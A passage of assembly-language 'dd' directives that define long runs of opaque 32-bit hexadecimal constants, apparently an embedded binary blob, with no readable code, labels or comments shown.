90EDAE01h, 0E0EF0514h dd 0CE0420E9h, 7F4A7D6Ch, 0FD62C4C8h, 48C7508h, 6E2AC728h dd 20FE6234h, 24C720A6h, 0F130DE28h, 9298D90Dh, 38308077h dd 2C048CB4h, 2F8D2B24h, 47200B62h, 5222425h, 7B42865Eh dd 95D804D0h, 1F233E15h, 0E07A3D1Fh, 7A6C9761h, 0C4B1007Bh dd 0B8651946h, 0D203AABFh, 16343E09h, 89C590F3h, 0F6F20A13h dd 8FA47B82h, 59386D61h, 9B2CC97Ah, 6C8268ABh, 13419A45h dd 810FE18Ah, 9948AE8Ah, 54E88705h, 100C1436h, 344CF97Eh dd 40542864h, 0E97552FDh, 0C5428897h, 75BE2380h, 55BB1611h dd 23E43AF0h, 0C0AA0034h, 7387B60Ah, 0A8576119h, 2B18B548h dd 8D21247Bh, 0FE46C737h, 2D9CBB20h, 88ABEE5Bh, 0B96D4CD8h dd 0B48FDD12h, 0C04B2008h, 6E10C726h, 58800443h, 82F1C75Fh dd 69C53D00h, 3A6A7B56h, 0B3F8C3F7h, 0A0A8EC0Dh, 1DE6BE87h dd 8020E524h, 7DB261CFh, 5C63A1FBh, 0B2B63380h, 780019F2h dd 746BB4C8h, 5119CCBh, 5D1564E6h, 82C0803Dh, 7602E02Fh dd 33791BFDh, 0FC111D58h, 95CC8B80h, 75EEC88Ah, 0C1E85F50h dd 860B24B2h, 3DF64A89h, 0BB8A80C0h, 0C4CE85EAh, 31187F0h dd 0BC2DE5FCh, 0CD183C54h, 136AFF60h, 3B97E289h, 11C23B0h dd 6D8D9BF1h, 0D60C410Eh, 0C3EDF04Dh, 57276201h, 551ED378h dd 6085E8h, 70BD5DF8h, 0CA6A7AA6h, 0FB127092h, 3408EFA3h dd 242EC0AAh, 1F468D25h, 590F0A22h, 81F62427h, 5EC34389h dd 4A9D2D60h, 8F280765h, 0B1E7F4C6h, 52C5F02Ch, 6EBC19C3h dd 0B37023EAh, 2A242D01h, 7428278Dh, 242640B0h, 0C9138h dd 0BA802B54h, 223E9B0Eh, 6800E29Ch, 61A87F60h, 10D78ACh dd 48823C98h, 20FA7C9Ch dd 1A503270h, 48C21ECh, 0FB7CB2BFh, 22506289h, 0F460B73Ah dd 0F877A6D9h, 2A33AD2Ch, 0AF661901h, 0E0882CC8h, 0D82975BDh dd 0EB180BD1h, 4A17737Dh, 0BC6F3979h, 6680A03Dh, 0FE2C4EA1h dd 0B8068531h, 3523B1B3h, 0C42C85F9h, 0B9EE606Bh, 281403FFh dd 574E0C8h, 0FE8D4109h, 0C01CC222h, 80402D64h, 922CE681h dd 0F14F54F4h, 22C72B87h, 18592C6Eh, 0C723A560h, 7B20999h dd 1411AF65h, 81018A8h, 0F8D2724h, 5B4432C4h, 42B4C029h dd 0EE74E141h, 8A43FA06h, 0D960ADh, 5C2C0B88h, 500C3B5Ah dd 61BE4600h, 1CE88E4Ch, 0B835488Dh, 0E749D602h, 0D4415FDBh dd 7A05DAB9h, 59FB7882h, 18E47960h, 53100C3h, 0CCA061F4h dd 1F61FE8Ch, 7980F671h, 700A1B9h, 8C3C6982h, 0D9C10298h dd 51C76561h, 0CDB0F13Fh, 0EB8AFCB9h, 0EDF2B8A0h, 2C456E80h dd 80746C92h, 3A47506Dh, 783987BFh, 77C85041h, 0C72A048Ch dd 0B2246E2Ch, 22A4C058h, 639A7C7h, 0ECE887Eh, 0D4B068D8h dd 6AFED104h, 0F6023605h, 0D88A8C93h, 0E0E20D0Ch, 253C4C90h dd 6DBB4C8Ch, 62A9FB12h, 36216E3Ch, 0AC30B2B3h, 7E370739h dd 9278DB0Fh, 9C64F8CEh, 90EEC920h, 617AF850h, 98BE70E9h dd 36698319h, 0BFB3FB1Ch, 81DA813Eh, 7833F7C6h, 7176AE18h dd 0D0178B1Ch, 0B9056116h, 0A0025D1Eh, 0D03B9B73h, 449C8734h dd 44E360F1h, 270502BDh, 61AEAB0Bh, 5A6EE8E0h, 1D6C8B82h dd 80F211E4h, 891AC339h, 0A7340537h, 834ECE0Dh, 9EB3A090h dd 39D45856h, 22E96B03h, 85598684h, 10C80D40h, 9D24037Eh dd 2A4E604Fh, 6AD62810h, 0A82B7C1Ah, 3411C49Dh, 127B7E81h dd 1E4390Dh, 0A32D5062h, 0C830DE15h, 607A3045h, 0B6E6D368h dd 2409289Ah, 3023061Ah, 11B57DB0h, 884378BEh, 753080E8h dd 0A43BFDB5h, 97447A38h, 743AB689h, 0CD06E923h, 59F60Eh dd 8AA74072h, 5B604AA5h, 7324A600h, 0FD290B45h, 2E1A4F25h dd 0E42328h, 93FAABE8h, 2B0B5CC1h, 2D509C5h, 0E47A98h dd 69664564h, 5A070680h, 0E85C72EEh, 9EB06C00h, 8460944Bh dd 385D1Ah, 4E25B274h, 0F119058Eh, 0A77E2B34h, 876920A0h dd 7A848820h, 0E47C65C9h, 28026050h, 0E2FC02B7h, 4576C4ABh dd 8F04F070h, 0CA6D62B3h, 0C68D3490h, 80F5506Eh, 0F97A00B5h dd 3CF99FAh, 6091E3F6h, 5028882Eh, 0A49357F6h, 0EA71F421h dd 84002A18h, 30FD4B21h, 21A732Bh, 0F6818B6Ch, 1063D50Ch dd 50326810h, 9AB38700h, 86BF8813h, 28AF632Ch, 0B5E00A40h dd 0F71B0072h, 758F4A38h, 0B9001ED6h, 0DF9FB110h, 168247h dd 9813B52Dh, 3BF72F77h, 1E12CB06h, 1250089Fh, 61B67429h dd 0EC242AB0h, 1CB93F8Dh, 242345C0h, 7B46064Eh, 190D98B9h dd 0BB43E400h, 0E2473666h, 0B4CA721Dh, 747C2C7Ch, 37006A46h dd 8986ECEDh, 4090C6D2h, 76E204ADh, 9C5EC047h, 0A34E07CBh dd 0E41AFAB0h, 744880E1h, 7F6B7082h, 11541D60h, 0A07D8F68h dd 16589766h, 58A14C10h, 8C0BE8h, 0E989D7FAh, 0E0029A78h dd 52FD90C2h, 0A0D45011h, 80CEE6C4h, 6C3AE073h, 90E52665h dd 3F4676h, 0B7698366h, 0FAD60D5Eh, 3C2CE11Ah, 7E8C6FBCh dd 6267397Ah, 0EB0C9500h, 64EC7D51h, 60788E24h, 0F611C42Ch dd 1A363503h, 9BF0A08Dh, 2F009381h, 0F10105C4h, 7B1816ACh dd 617560F7h, 8D2A8614h, 1DF97713h, 0EB23CC2Fh, 0BE6CC518h dd 3E5E75CCh, 0F4C89AEEh, 82CB024h, 0C507F536h, 8D570E46h dd 7CD38235h, 0F3491C9Bh, 0BD1EBD71h, 0C09A82E1h, 48469281h dd 46563896h, 5A30006Fh, 7F955047h, 0D86A3E71h, 4BBAE7D0h dd 0CE540553h, 108CF2EAh, 0F05DF32Fh, 48B048B8h, 0AC70B500h dd 4B3BADFAh, 1C5000E4h, 23A77936h, 3AF2CC93h, 6E0D477Ch dd 88760665h, 7718FAF0h, 5110E621h, 0DC3888FDh, 0A8C0AECh dd 0FAFB3B79h, 9F1140E0h, 870AD852h, 0A8E95E99h, 796A7B05h dd 0D31D1490h, 2D722D74h, 6986C801h, 0FD4464EEh, 96121F8h dd 0C2DE8919h, 74FC9B01h, 4A01879Ch, 44D468F6h, 0D087467Eh dd 405C7396h, 91F7D6CFh, 625B5606h, 244806BDh, 50B558Fh dd 468B87F6h, 0B1EF9CD8h, 0D750AD00h, 0E8E338ABh, 3E130034h dd 929CFA1Bh, 0BC1E2A26h, 9FA547Ch, 0E4BB94F6h, 81F80C80h dd 26B9FAAAh, 62B1F31Ah, 96070C9h, 0DB8EF705h, 0A0BE7040h dd 0B5305098h, 0CEDA9835h, 0A16C1D8Ah, 82F2538Dh, 30890E6Ch dd 0C6221802h, 20CF092Bh, 9C107E18h, 27C1C0E0h, 0DB5DDE88h dd 1A1DE91Dh, 2F255500h, 48146011h, 0D880D09Bh, 651AECB3h dd 0B7660C03h, 0C0B4EB4Fh, 16F9FE3Dh, 12A8789h, 0B27A9848h dd 0C706CA6h, 0C8F025F5h, 0DCE64002h, 3503A33Eh, 701F59C6h dd 42517F90h, 447B9C3Dh, 0F4998E0h, 0E9A91E18h, 0C305C941h dd 47F863BAh, 827A15E1h, 50F406h, 0D53C41ADh, 6FE0DCA6h dd 582C496h, 0E8CF2EE7h, 402A4D68h, 0C80EDC5Fh, 2B8A78EBh dd 0A6F8C8C1h, 917360ADh, 942D4AFFh, 927A58C1h, 0B834FCFEh dd 0A1D2D52h, 724534A0h, 40913515h, 0C7F5B20Bh, 606E6494h dd 0EAC82F07h, 0DED5042Ah, 0CF786548h, 0C33D88ECh, 76A1FF79h dd 7D1B7128h, 64E000C4h, 7AD94FC0h, 815F07EEh, 0B1124418h dd 621DD291h, 3069F2ACh, 2A3507F2h, 3CB640C0h, 0C668B4B0h dd 0F5CE2A00h, 0BA594CCDh, 759D106Eh, 0B3EF1E6Ch, 58FA4506h dd 2FA54B11h, 0FB235Ch, 3844B56Dh, 0A1002691h, 553BA886h dd 336B610h, 64A40798h, 9A81A99h, 0C090F97Bh, 2C167520h dd 0A7B48EF4h, 0B911C97h, 0C6E18A80h, 1B679864h, 90803819h dd 4CF0FFCh, 82B1DAA9h, 2D2080D5h, 14A071E0h, 0B03E3124h dd 6AE69392h, 7B0A6C81h, 6054E971h, 69F270B2h, 0AEC41931h dd 8A881D7Ah, 0FCC101B5h, 0BEC5F2FDh, 0A2C61608h, 10C0B40Ch dd 7868BB2Bh, 0F239A420h, 0AA910893h, 529C3EFCh, 129811EDh dd 18F2C646h, 3414031h, 25B1BEF8h, 0D9B8EA5Dh, 18E479F0h dd 0B66100F4h, 94B7196Bh, 0A90ED952h, 23759C86h, 0A14382h dd 0D5023180h, 91103FC3h, 1D0F0378h, 758E9273h, 0D8783850h dd 8C09F880h, 30D32600h, 6343E469h, 0D2452564h, 610518C0h dd 0E22F1925h, 0AAAC4304h, 855222C5h, 3F24448h, 0F31FFA1Ah dd 1459E0h, 993AA4FBh, 0EA76BC07h, 0CCD89A01h, 13E1C561h dd 0F1A29823h, 0A88330h, 0E765C182h, 4812B31Dh, 0E0241809h dd 0E490C53Eh, 0E9D3601Eh, 6E810665h, 0F8735A6Dh, 99928612h dd 0EDF2E8F2h, 352AD033h, 196E125Eh, 0F9D804BDh, 0CDFD0306h dd 78C0DA60h, 82782444h, 41902672h, 2A97E365h, 0E723183Ah dd 8519A400h, 43F7E5Dh, 0F71A37DBh, 31E8F48Ch, 194F1801h dd 0BE6CD426h, 0C878E875h, 8C38BCh, 0FB9AE4E7h, 0B5C4E91Eh dd 0C570231Dh, 1A15F7C0h, 47B425Ch, 1B78BD2Dh, 0B8CCA958h dd 1262EAF2h, 0DEBB31C8h, 0C8EB80D4h, 32EBCE2h, 4A5CB087h dd 6900E79Bh, 0B451625Dh, 2C8665DFh, 0BDEF947h, 3CE5A93Eh dd 0BE60E1E4h, 0FA0BAE35h, 100E2952h, 84E62AC0h, 4FE06087h dd 2EF6D70Dh, 8548B93h, 8D1E6D4Eh, 0A466B085h, 0D24ACCC0h dd 500E25F0h, 9B1D6010h, 289A7A09h, 6450C770h, 0D6D16067h dd 6E442CECh, 73DB8B74h, 34F94CCAh, 3618F279h, 0A4E53C1Dh dd 5B8DF040h, 257B5A15h, 442272B2h, 0E3E12B4Ah, 0BC28789Ah dd 3E068C1Fh, 0F2928279h, 0D11A1751h, 0FC5483E8h, 5100F59Bh dd 0A421E42Fh, 798FBEh dd 16508CF1h, 0EB42C8A8h, 0EE6E0C00h, 7B10C903h, 82C1EC9Ah dd 1410878h, 0E4D2E041h, 0EFA71984h, 0BCADAEh, 5375115Ch dd 48B68483h, 38008C33h, 4AB52C9Ch, 0E0125057h, 3C148DC2h dd 8CE1E8F8h, 0A0376F01h, 3FA552FCh, 0F842442Dh, 0C1471C00h dd 9B8588A6h, 0CC806094h, 364E6EA2h, 0D2E212h, 0E26BB96h dd 10BFAA8Fh, 0F9778500h, 0EDB1F028h, 4C68FD25h, 0D97AAD1Ah dd 6472F740h, 0B454A000h, 2A86B112h, 0B9489181h, 1B79AB80h dd 23B6EC90h, 0FF7A8709h, 7094DBE3h, 0D0032E1Ch, 456C0925h dd 8CB4E5BAh, 59F078BEh, 28BC2476h, 410F13E6h, 0A067EFA3h dd 5E2C5CDEh, 10A72549h, 0F1C030CDh, 12CE9EF6h, 5E568E6Ch dd 0C0124D98h, 0B75000A8h, 39C00898h, 0B96670FCh, 892E0EACh dd 0BC4B5B1Fh, 0D8104087h, 0DB567764h, 1EE18738h, 8111B332h dd 4798BCF4h, 0B0F22854h, 1303EB2h, 0A1FA099Bh, 48704B33h dd 0F062D230h, 0E14476h, 0F63806E0h, 0F59BC5F0h, 635AC303h dd 0A042F3E3h, 872BE4h, 0BB3C999Ah, 1623D79Ch, 0F3F67800h dd 0B0E6633Ah, 2CD5E8AEh, 1D60352Fh, 0BD75070Fh, 8A77C072h dd 6C33AF8Eh, 40CD29B5h, 63BD1821h, 1AC349DBh, 38A0A4A4h dd 9069B2Fh, 58B4DB50h, 1700D2B1h, 0C4086786h, 0B5B04F2h dd 72F740F6h, 0E075C898h, 98C86C2Ah, 622FCEF2h, 7C6021ECh dd 830538D1h, 288648ACh, 7EDC209Eh, 9D8A04B3h, 8869877Ch dd 83BFC518h, 4AF166F8h, 80709B10h, 3A0BAD9Ah, 3C4E585Eh dd 8F5A4075h, 0BCB4C622h, 0BC00DCD4h, 0DE64E4FCh, 1F6A57Ch dd 4AE9CDAh, 40F0E573h, 74201DD0h, 0D0881C90h, 500095B6h dd 0AF386484h, 4345BAh, 0F6F080CCh, 78BCEAC9h, 6557EB25h dd 61EAE4ACh, 9C31BC8Eh, 70B8A004h, 78C50ECh, 0E9F182B3h dd 3D2A12Fh, 19CC30F0h, 0C8813CB2h, 5507DA5Eh, 0C8F985C2h dd 0D3246A48h, 10100579h, 0E558814Ch, 6AE83131h, 0B7C47420h dd 25F80099h, 0DC4DE0F2h, 5500A26Dh, 0EE1A846Ch, 81CB7FFh dd 0C71E9A79h, 0AC67FB04h, 920CFCE9h, 6118F0AAh, 8EE6D22h dd 990EB1FAh, 9D6AFD04h, 720B5CACh, 0F01D77C1h, 6880F111h dd 75F7290Eh, 0B44B2403h, 9444E64Eh, 18D74F0h, 0BF4AC523h dd 605E1141h, 4340191Ch, 8D8A126Ch, 0E3ACC5F9h, 30FDA260h dd 903D9B2h, 9D6E96E9h, 88F3DD81h, 0F1E21052h, 3D7CD30h dd 0C9EAAD5Eh, 10A19628h, 71E4227Dh, 0F8BACE12h, 9D04F01Fh dd 0ACA76459h, 94EF7A0h, 0BF55C102h, 0C478E042h, 100F9FDCh dd 10000EA8h, 7EB713B4h, 0F92E4054h, 23B51200h, 61B08C8Fh dd 0D6D09E29h, 40196000h, 9AB1F6A8h, 0ADB388E7h, 0E0BAE7Bh dd 12C6D3E9h, 0CA7460F4h, 8C8B16Eh, 0A803E2BAh, 0BC0AB27Ah dd 7C201CF1h, 397B21DEh, 2521C51Dh, 1C91B015h, 8D34A280h dd 0A4B4FAF6h, 0BB429D3Ch, 4B05C9DEh, 40B26B61h, 0C1128A08h dd 7CC9111Eh, 8448D0F2h, 6D6E0864h, 0DA42551Ah, 462CE4D9h dd 0C7240249h, 1C146E2Eh, 0C75D5A1Fh, 0CD121807h, 39D2AFD0h dd 2B44908Eh, 393C68FDh, 0F618B782h, 9602E7A0h, 761074E8h dd 8A07FB46h, 8167FE4Fh, 60256BB1h, 909CBEEh, 0F8CD52F5h dd 2203EC44h, 6E09A3F8h, 0A2661A45h, 7E76F6ECh, 44EC0400h dd 2640B8CAh, 9809CCC4h, 1A45203h, 132664D1h, 3050D41Ch dd 0E4BC2EDDh, 58219B93h, 6EF497A3h, 0FF1E074Ch, 83446098h dd 0DE8B102Fh, 43559BA0h, 1090275Ch, 0E522E93Ah, 0F2448087h dd 0FD49D760h, 0E801907Ah, 0A611C6Ah, 5F3A8FF7h, 12529720h dd 3FAC41DFh, 68871088h, 8C3DBC9Ch, 0BF068101h, 0FCF17636h dd 0E0281AE5h, 8CEBB8h, 86049D8Fh, 88850E3Ch, 24002E7Ch dd 0DB7D14F3h, 0B5DD1AFEh, 8A8788Ah, 2403CD06h, 0DCFAEC6Eh dd 0FB02D0B9h, 91882A04h, 0CBED23C0h, 26B0A00h, 0CD9EA91Bh dd 920F1413h, 194FAC0Ch, 0CCFFB020h, 9C1C12C3h, 0B9C3139Ah dd 0BDEE0460h, 0B0B8E4h, 0F26E1EDh, 0D0D8D701h, 21E0CA00h dd 39F65C27h, 9A114058h, 912097B7h, 3ECB801Eh, 0E25055BCh dd 13ABFA93h, 0C28B8863h, 6C601428h, 5F0019F5h, 0E012C1A4h dd 4E193C0h, 2E28F795h, 0E810B8BDh, 0BE048C09h, 496AFB58h dd 29334FCh, 0D0AC73FCh, 5265E460h, 49F70580h, 62035012h dd 38D25C75h, 0F2B4A2E5h, 0FC803238h, 0A0C9737Ah, 7B0A7D04h dd 20E00292h, 163678F1h, 91C72EB2h, 82ED9DB0h, 0F703F0A0h dd 0E68CC959h, 5834C2C9h, 0E0760028h, 0B6E3FC7Eh, 18BE9AF6h dd 0A8B5118Ah, 0D1DECE05h, 3E88509Eh, 5B534DC0h, 8FEC04BFh dd 0AC200E91h, 42C5E248h, 78E05B2Ch, 16098D9h, 4A8D7951h dd 0E122001Ah, 0EA05AC6Eh, 9F5C45D8h, 0BC912B0h, 0AE2A9003h dd 74F9007Eh, 107A5C2Bh, 0E700DEE3h, 0FE041F8Fh, 0C0E20DA4h dd 5B150769h, 0D5EA085Eh, 5AA91F00h, 99B957D9h, 27FA0647h dd 0C0B010B8h, 7F022546h, 7378BCB5h, 3210EA31h, 0E300B577h dd 0D88678CCh, 16A6DEE9h, 0B0B644CEh, 0FD0224B4h, 1B9A753Dh dd 0D994F166h, 267D186Ah, 80C92BAh, 0E406D58Ah, 1C89F70Eh dd 9C9EDC36h, 9523408Bh, 0BE971D16h, 8F9ACE12h, 0A86CB020h dd 19099ADh, 0FADE92A1h, 311F832h, 2BBB4302h, 0A0F49AB6h dd 339FAB80h, 8F100EEh, 6AA7A031h, 77007013h, 7ADF265Ch dd 9517A4D5h, 0F017C89Bh, 54F30C1Eh, 0F90E11h, 0FC236E2Ch dd 5CBA813h, 0F6D329CAh, 5B80E8C2h, 5E352421h, 0D4B730h dd 9DEB47AAh, 40ED3E38h, 101D6D12h, 0CCE2A404h, 15094A42h dd 0F4D0DEh, 4398EE03h, 0C8D3B4EFh, 0AD395A0Dh, 7CD8C178h dd 13572F7h, 0A8864F61h, 606BE4F2h, 5EF49D6Eh, 32248295h dd 6C1A00E6h, 73749688h, 40E24527h, 7D03A49Ch, 50299DE0h dd 6600B0C4h, 2FCB8CA8h, 3A173B01h, 128239CEh, 3572E013h dd 9885F048h, 0BEFCE707h, 246AB433h, 73E1B500h, 0FB3DBA88h dd 12C91E0h, 19CF41E0h, 4898896Ch, 72255BF8h, 7A280051h dd 0F6619C6h, 26CE6FA3h, 525B1A40h, 20C23E69h, 0E095AB11h dd 805D4E18h, 0E5ABBEFh, 0CDE24840h, 0E0D0A16Bh, 0AF590F8Bh dd 920078Fh, 0F9F47D47h, 6E17A2F0h, 0C0468A65h, 5A8952ADh dd 6ED4C814h, 0F5A1F401h, 7DBAB711h, 0EB30FCh, 1E0DD6E0h dd 97943BADh, 0FE709D1Ch, 35F62800h, 4D6D6C13h, 0DE03D8C6h dd 0DDEF25F4h, 2F00825h, 0D20B1D9Ch, 0F65220D8h, 497134Bh dd 28D26788h, 0FD091291h, 0ACF8B172h, 56827A0Ch, 0E56140EAh dd 0C4513429h, 1981E4FDh, 9287AB50h, 4EC830E6h, 0E76524A8h dd 407F9881h, 0C23FEF0h, 1001DCC1h, 0D6804351h, 1F001CFAh dd 0E6268D88h, 0E93E026h, 0D29A6020h, 4A7A99h, 0D85B21EDh dd 0DC972381h, 0CDAB4803h, 29AD355h, 7D627479h, 5CC0B472h dd 5E25CF0Fh, 9D3429C0h, 80091104h, 5060B3DAh, 0A0D36486h dd 6D6E02E0h, 0B78D622h, 4070819Dh, 91449797h, 9886826Ah dd 1E88C02Ch, 0E03181FAh, 364BEC81h, 2B2B0C89h, 6A2368h dd 0F77DBF75h, 114CF06Bh, 0E85A101Ch, 10255D18h, 0CE81FEA2h dd 19CCA048h, 0D845CA44h, 0A123D861h, 4FC678D4h, 3BF4802h dd 0D985AF9h, 63A26CE6h, 8EF6C430h, 0E290E350h, 22077B27h dd 73F582C8h, 7498A6BCh, 0C50EEB46h, 614282A9h, 78518CF7h dd 1A0D7204h, 16175C14h, 0A0D4E7C1h, 2CDFC215h, 3DA5A103h dd 0E0887282h, 6C5E0578h, 0EFF242h, 0EAD47087h, 37983EB0h dd 7E86C0Dh, 0B2E108B3h dd 0B630ECBCh, 1DFD7E10h, 4AB1D31Fh, 0DF84A0E7h, 0FC52F4E3h dd 0CC819FE5h, 6AC8F803h, 4222D821h, 78E49E02h, 0C15409BDh dd 242B74B8h, 8020BCA0h, 38CD4FFAh, 42720008h, 0A5C3946Eh dd 73075AC2h, 86DEF34Ch, 44D8838Eh, 0E708C325h, 0B77459E9h dd 62F4CA89h, 870268DAh, 0A8F4DACEh, 80E4F0FCh, 2B976D61h dd 27144E14h, 5C679571h, 0DE6032C4h, 0C0006EB8h, 0CB52FAFEh dd 1FF18848h, 2A6A7885h, 611A17F8h, 0C8688BA9h, 3B57C209h dd 2B896861h, 0A83A8813h, 4200ED23h, 50A85DADh, 0FC6209E4h dd 0B470F572h, 0E68F1309h, 37CF00Ah, 7E253053h, 88F2F72Eh dd 0C18CECA4h, 7A5FB2F0h, 3F23243Bh, 22A90300h, 7531F29h dd 0D97B1AB4h, 0D3694444h, 42AAC0C8h, 0E4005878h, 2A35250h dd 77238Dh, 0B6271DFEh, 0F751A5Ah, 48A3B8D2h, 0F53068B2h dd 313C01F2h, 9BD34213h, 7441BB1Ah, 765CF074h, 8F861B18h dd 7273A2C9h, 2185057Ch, 0D0BF1274h, 15F686E0h, 0F04444B0h dd 137E122Dh, 4FC003BDh, 0F180276Eh, 559296Ah, 0AE920880h dd 1AFB04E5h, 26B4A827h, 0B1E41CF6h, 0A2E7A497h, 0D930D179h dd 0E9B183Eh, 97E0344Fh, 0AE6C2AE0h, 0E090147Fh, 6DCA20h dd 1799B585h, 108628AAh, 0A8F68F04h, 3AAEA466h, 3FE23ACh dd 9DD211B8h, 8FA893C3h, 0F050D890h, 0FE248D4Ch, 0A8AC38C2h dd 7190518h, 6C2644EFh, 1787D2Dh, 2EC68DF0h, 6D1909FBh dd 0A0675DE6h, 0C1603F64h, 0D200D0F4h, 4ED64339h, 9A05B4Bh dd 798D1BABh, 0C709053h, 7B1912D6h, 0A942943h, 0C7328850h dd 0D302005Ch, 4D7227C4h, 6EA00750h, 108E2E5Fh, 0B4C06988h dd 984F104Eh, 123000A8h, 0FC6E2379h, 7C961DFAh, 6D465Ch dd 0EB4B25D5h, 12E38830h, 53C6D3B9h, 88D8CE18h, 7647C0FCh dd 0F10FE3D6h, 84A19722h, 1AB9572h, 7A91C2FCh, 611C00E2h dd 0D75F0043h, 4FAEC66h, 794851B5h, 94947398h, 1089741Ch dd 0D9F87170h, 242F196Ch, 2D9CA894h, 31F8C8DFh, 132FF31Bh dd 0B2F0F328h, 34983067h, 627FC090h, 2F2A2581h, 6C2310h dd 97B6CED4h, 632D60ACh, 0AEB891F0h, 3B1AB911h, 94E91024h dd 421CAEECh, 4AC0D085h, 772A0E8Ah, 4BCE5B80h, 0B806E5A4h dd 20E4A162h, 64EDEE07h, 0A7EB98FBh, 8EA28F10h, 1F18F0D7h dd 976302C3h, 26E2002Fh, 59443698h, 7404E170h, 2C07E0A1h dd 14C21CACh, 607DD524h, 1DE0B914h, 1F0DB305h, 0F5F6C316h dd 0F2A11806h, 0EC0ED87Eh, 0C992906h, 342976EBh, 62017EEh dd 495C7E18h, 4A99443Ah, 25E588CCh, 1859C77Ah, 0D6186979h dd 19DE2909h, 4258C8AEh, 7C3E008Bh, 973512FDh, 9495B0BFh dd 811D7458h, 7AC46DADh, 2C0D9209h, 425C59EEh, 10907CFh dd 46E08CB0h, 0B14AB230h, 82999028h, 70117275h, 4C189534h dd 5324AFBh, 13823115h, 368D52E0h, 9F90F982h, 0DB10DFDh dd 18302A18h, 0E9E56C9h, 0CF76CD24h, 28413140h, 772712AAh dd 8000B51Ah, 478A191Bh, 8E0BFC8Bh, 0C2AD95C6h, 0E43447DCh dd 837D60FBh, 0C3700019h, 918852F5h, 0D3098A6Ch, 211EC2E6h dd 9A85134Ch, 638F98D3h, 25881D6Ch, 46650E2Dh, 1EC0B752h dd 0CE0622B3h, 2C40C14Ah, 0BA02ABCh, 7021E4F2h, 2BFAF846h dd 30EC0412h, 3A8CE8ECh, 0DB898910h, 0F8F9AD1Dh, 126D6E84h dd 30E98F8h, 0C1C53EC9h, 0B83CED77h, 78F63F34h, 2CE554AFh dd 760FEE4h, 19000A3Bh, 261070CAh, 9DF06E61h, 0D1B98890h dd 0F62A8DF8h, 864C907Eh, 54F710D8h, 402CF338h, 78E202A3h dd 4052CB85h, 40F990D2h, 950EAEB8h, 612EB34Fh, 0AC8EC2E0h dd 417D3060h, 3C342B02h, 0DE4D24C2h, 0E62D30h, 0A0676127h dd 0C6B1D834h, 54EA80E1h, 14760C00h, 7E36A75Fh, 5207D8Eh dd 0B410BFB5h, 0AC00E91Dh, 71100FEh, 618A7FBFh, 8C394A16h dd 2BF9F087h, 0C5937C31h, 1FA95E4h, 7FA66C29h, 7C0D6AF1h dd 0C47309B0h, 44FC5154h, 93F640FFh, 4B77ACh, 0CCCA232Eh dd 0EC656176h, 0CB3DD8A6h, 172925D5h, 8038113Ch, 0DE2AFC53h dd 0E2AD29E6h, 0E859255Ch, 0D5183479h, 1E2A9516h, 0CEB6C004h dd 7562FB02h, 35970CD0h, 806B9120h, 0F6323350h, 1410F476h dd 9C6B559Dh, 80D0DB4Bh, 0A30C70Eh, 0A0977CEDh, 8342FAC4h dd 6C90484h, 387AEAh, 13E0B4E4h, 69084Ch, 523804F2h, 9A7AADDCh dd 0B003E25Ah, 9B1CCC9h, 16656E38h, 0F8F94C42h, 9D468760h dd 1E0E00E7h, 7B10F0A9h, 8FFE3EB2h, 0B0BE8C90h, 612438DEh dd 5AABE12h, 3EFEA6F4h, 6A23D0h, 20697776h, 0D1EFE26h dd 86D68F0Eh, 0DC7270A1h, 3D30E8F2h, 5F3F0C42h, 9BE01FFDh dd 59E944h, 96A0C9C5h, 910F7095h, 2A00307Fh, 25AF56F6h dd 2F110C5Ch, 786D8BC7h, 9800BFEFh, 556B79DDh, 0D87E00E0h dd 4FDB1AFEh, 0E4B89A9Ch, 12E81620h, 0BDED25F5h, 125B838h dd 135AA350h, 2143DDC7h, 1D886C53h, 0A16D5B7Fh, 0FF0C63ACh dd 0B568407Bh, 0E0132625h, 0E076C03Ah, 0BB2C7808h, 0A078982Bh dd 2695C118h, 74106386h, 5003246h, 0C4516DA2h, 3B3DDC03h dd 4AC4525Eh, 413C746Eh, 0C46DF03h, 0C94899F9h, 51517E9Ch dd 0B8C829D4h, 9ED60046h, 2699B59h, 78BDFC0Dh, 7A308095h dd 5A72F4DEh, 0F79417C1h, 0C09A5B48h, 7A4BE280h, 0E3F403FAh dd 856B69C7h, 0A68A9410h, 0DA274A80h, 0C031C884h, 0F75CA0Eh dd 36349000h, 1365A9E0h, 0F0700087h, 6BF708BAh, 939F8688h dd 0E933B894h, 5D7300F2h, 5171EAECh, 0E899A110h, 41809D1h dd 501A4902h, 56F4EB52h, 506DE4B4h, 0A77C05E0h, 8A9F58Bh dd 0B048BB8h, 82F71E40h, 131A78C8h, 94FA766h, 3C802551h dd 63AECF99h, 87F921DEh, 0BF9F6597h, 49649D90h, 0E9FC02DAh dd 141C9A57h, 60BAA860h, 0C0F50380h, 26867439h, 5A5DE6D3h dd 0E8A458D0h, 0C008EFBh, 36EEB92Dh, 31CE8F86h, 0E50D2FAh dd 0F8382B67h, 6B4F41FDh, 0E0E25412h, 3630F7F2h, 8FE50BEDh dd 0A4608AEEh, 0C24C9B65h, 5818264Ch, 44A29A13h, 31F12207h dd 20BEF7CEh, 1AE84E91h, 0E9E7E10Bh, 797C8446h, 77675540h dd 6098AA80h, 39200244h, 1480226Bh, 321F4CDFh, 0E70134F8h dd 561D3124h, 162F2D7Ch, 0A46FB4h, 0D591FC14h, 10C3261Dh dd 1C587946h, 7C9D42CEh, 7D64622Dh, 0DE63E832h, 0C31B3CB0h dd 0D1542C09h, 614C543Ah, 0FCFD2623h, 5220B1F1h, 0B01312E3h dd 9854A886h, 75A01FDCh, 0D31D17B6h, 0AA800B8Bh, 0AD304858h dd 71ECA97Fh, 753E00CEh, 0C3FC87E4h, 0C2095DA9h, 78556AF0h dd 0DE98278Ch, 4B96A007h, 0CD0000F3h, 3A4D310h, 8E6D186Eh dd 2BA6067h, 330C9095h, 0E8DD0064h, 36C07FACh, 0D901AF87h dd 0F493D134h, 0F84111EEh, 0B407CCD2h, 5F688110h, 0F86603F0h dd 7C4AF120h, 2DCA0AFEh, 61EC9BF7h, 2B074152h, 0B8855001h dd 252BE80Fh, 0B11C8070h, 0E02D77AEh, 93B4A775h, 2037EED0h dd 0C0E14AC9h, 90B3666Ch, 0CB520810h, 8F896C01h, 32991EA2h dd 0D0AD241Ch, 77AB9A40h, 92E40121h, 7D7A16D5h, 417C01Dh dd 48D5A148h, 10805BAAh, 1658D070h, 3227E80h, 614BEFA4h dd 83A8C98Dh, 0AB7984B8h, 0F020027Fh, 72E0A41Fh, 8D177C64h dd 98465EEEh, 0B39C10Eh, 0EDE6827Ah, 0F141D02Fh, 7DC3F803h dd 87860790h, 38AC6AD6h, 0F23061Fh, 10F236CFh, 12F0BC58h dd 